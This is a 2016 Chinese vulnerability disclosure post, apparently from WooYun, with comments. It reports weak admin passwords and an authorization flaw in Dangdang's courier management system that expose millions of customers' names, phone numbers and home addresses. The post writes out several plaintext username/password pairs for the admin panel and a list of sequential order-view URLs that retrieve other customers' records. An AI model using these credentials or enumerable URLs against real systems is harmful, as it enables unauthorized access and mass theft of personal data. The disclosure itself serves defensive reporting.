当当网某漏洞影响15年1月1号至今数千万快递信息（收货人姓名/手机号/详细家庭住址已在贩卖）

起因 一个月前nosec平台上有人发了QQ群每天黑产在售卖当当网数据的威胁情报

https://nosec.org/my/threats/874

第二天晚上看了一下发现当当快递管理系统存在大量弱口令，可以获取到大量用户实时数据，跟搞黑产发的截图信息很相似，于是在nosec上补充了细节，武哥那边也通知了厂商。

……

隔了一个月时间，今晚再次看发现厂商修复了一部分，提供的部分弱密码改了，设置新密码也加强了密码强度，需要10位以上，但是旧的弱口令没排查，重置新密码后还是可以登录！想了想还是来乌云一发

http://ecadmin.ddexp.com.cn/ 当当快递系统

txtUsername=chenrui&txtPassword=chenrui123（登陆需要强制修改密码，改成1234qwer!@#$）

txtUsername=zhaopengfei&txtPassword=zhaopengfei123

txtUsername=huying&txtPassword=huying123

txtUsername=lizhidan&txtPassword=lizhidan123

txtUsername=yangting&txtPassword=yangting123

江苏省一个省份15年1月1号至今运单合计：5632290 后台支持一键导出excel表

这仅仅是一个省份的

打开其中一个看一下，含收货人姓名/手机号/详细家庭住址

然而订单的地方存在越权，可以进一步获取到全国当当的快递数据。

简单列举今晚其中几个省份的快递数据

江苏省 2016-4-9 21:35:34

http://ecadmin.ddexp.com.cn/waybill_status_list.php?action=vieworderinfo&client_order_id=33602691944

湖北省

http://ecadmin.ddexp.com.cn/waybill_status_list.php?action=vieworderinfo&client_order_id=33602691967

安徽省

http://ecadmin.ddexp.com.cn/waybill_status_list.php?action=vieworderinfo&client_order_id=33602691999

陕西省

http://ecadmin.ddexp.com.cn/waybill_status_list.php?action=vieworderinfo&client_order_id=33602692094

广西省

http://ecadmin.ddexp.com.cn/waybill_status_list.php?action=vieworderinfo&client_order_id=33602692177

湖南省

http://ecadmin.ddexp.com.cn/waybill_status_list.php?action=vieworderinfo&client_order_id=33602692124

广东省

http://ecadmin.ddexp.com.cn/waybill_status_list.php?action=vieworderinfo&client_order_id=33602692230

山西省

http://ecadmin.ddexp.com.cn/waybill_status_list.php?action=vieworderinfo&client_order_id=33602692360

…………

不再一一列举

23省*500万，上亿数据都有可能。。

声明：好人一个，未动任何数据

赶紧下线处理吧。。

厂商回应：

危害等级：高

漏洞Rank：16

确认时间：2016-04-11 10:07

厂商回复：

感谢对当当安全的支持

最新状态：

暂无

1. 2016-04-10 10:32 | hack雪花 ( 实习白帽子 | Rank:94 漏洞数:23 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

   1

   CCTV看这里

   1# 回复此人

2. 2016-04-10 11:07 | Yuku ( 实习白帽子 | Rank:58 漏洞数:27 | 数据挖掘)

   1

   应该是nosec一个月前提到的威胁情报

   2# 回复此人

3. 2016-04-10 15:18 | getshell1993 ( 核心白帽子 | Rank:1245 漏洞数:132 | ~！@#￥%……&*)

   1

   泄露信息增长速度太恐怖了，昨晚到现在又增加10几万数据。黑产贩卖一条数据几毛钱。。。

   3# 回复此人

4. 2016-04-10 16:06 | BeenQuiver ( 普通白帽子 | Rank:103 漏洞数:27 | 专注而高效，坚持好的习惯千万不要放弃)

   1

   @getshell1993 666

   4# 回复此人

5. 2016-04-10 16:40 | Yuku ( 实习白帽子 | Rank:58 漏洞数:27 | 数据挖掘)

   1

   @getshell1993 日赚n万

   5# 回复此人

6. 2016-04-11 10:08 | 盛大网络(乌云厂商)

   1

   @getshell1993 so?

   6# 回复此人

7. 2016-05-31 10:50 | D＆G ( 普通白帽子 | Rank:780 漏洞数:158 | going)

   0

   so 这个漏洞关系到很多钱

   7# 回复此人